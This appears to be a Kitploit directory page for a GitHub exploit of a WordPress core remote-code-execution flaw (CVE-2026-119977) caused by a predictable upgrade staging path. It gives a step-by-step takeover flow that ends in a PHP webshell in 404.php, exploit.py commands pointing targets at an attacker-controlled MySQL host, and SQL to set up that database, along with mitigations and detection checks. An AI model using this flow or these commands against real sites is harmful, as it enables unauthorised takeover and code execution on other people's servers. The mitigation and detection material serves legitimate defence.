Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/blackhatexploitation/cve-2026-119977
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubblackhatexploitation/cve-2026-119977

CVE-2026-119977

WordPress Core RCE via Predictable Staging Path (CVSS 8.1)

View Repository
10 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-119977 - WordPress Core RCE

Unauthenticated Remote Code Execution via Predictable Staging Path

Vulnerability Details

FieldValue
CVECVE-2026-119977
CVSS8.1 High
CWECWE-425 (Direct Request), CWE-377 (Insecure Temp File)
AffectedWordPress 4.7.0 - 7.1.3
Fixed7.1.4, 6.9.11, 6.8.12 (backports)
CISA KEVAdded Nov 3, 2026
VendorWordfence (CNA)

Root Cause

During WordPress core updates, WP_Upgrader::unpack_package() in class-wp-upgrader.php extracts the update package to a predictable, web-accessible path:

wp-content/upgrade/wordpress-<version>/wordpress/

The staged copy is a complete WordPress installation without wp-config.php. This means:

  • wp-admin/setup-config.php runs without authentication
  • wp-admin/install.php is accessible
  • Attacker can point installer to malicious database

Exploitation Flow

1. Detect WordPress version (generator meta tag, feed, readme.html)
   └── Version determines predictable staging path

2. Wait for or trigger upgrade window
   └── Staging directory exists during update process

3. Access staged installer
   └── wp-content/upgrade/wordpress-<version>/wordpress/wp-admin/setup-config.php

4. Point installer to attacker-controlled MySQL
   └── Attacker prepares DB with admin credentials they control

5. Complete installation via staged copy
   └── Creates admin account with attacker's credentials

6. Use Theme File Editor for RCE
   └── Edit 404.php or other theme file to inject PHP webshell

7. Execute commands
   └── /wp-content/themes/<theme>/404.php?c=whoami

The Fix (7.1.4)

WordPress 7.1.4 appends a random 16-character suffix to staging directory:

$working_dir = $upgrade_folder . wp_generate_password(16, false);

This makes the path unpredictable (62^16 keyspace).

Usage

pip install requests

# Scan for vulnerability
python3 exploit.py http://target.com --scan

# Monitor for upgrade window (5 minutes)
python3 exploit.py http://target.com --monitor --duration 300

# Full exploit (requires attacker MySQL server)
python3 exploit.py http://target.com --exploit \
    --db-host attacker.com \
    --db-user root \
    --db-pass password \
    --db-name wpexploit

# Exploit with monitoring
python3 exploit.py http://target.com --exploit --monitor \
    --db-host attacker.com \
    --db-user root \
    --db-pass password

Attacker MySQL Setup

The exploit requires an attacker-controlled MySQL server reachable from the target:

# On attacker machine
mysql -u root -p

CREATE DATABASE wpexploit;
CREATE USER 'wpexploit'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wpexploit.* TO 'wpexploit'@'%';
FLUSH PRIVILEGES;

# Ensure MySQL allows remote connections
# Edit my.cnf: bind-address = 0.0.0.0

Mitigations

Block access to upgrade directory (immediate)

Apache (.htaccess in wp-content/upgrade/):

<Files *>
    Require all denied
</Files>

Nginx:

location /wp-content/upgrade/ {
    deny all;
}

Update WordPress (permanent fix)

wp core update --version=7.1.4

Detection

Check version

curl -s http://target.com/ | grep -oP 'WordPress [0-9.]+'
curl -s http://target.com/feed/ | grep -oP 'v=[0-9.]+'

Check for active upgrade

curl -s http://target.com/wp-content/upgrade/
curl -s "http://target.com/wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php"

References

  • Wordfence Advisory
  • WordPress Trac
  • CISA KEV

Timeline

DateEvent
Oct 28, 2026First exploitation attempts detected
Nov 3, 2026Added to CISA KEV
Nov 4, 2026Public PoC released
Nov 6, 2026Federal remediation deadline
Download Tool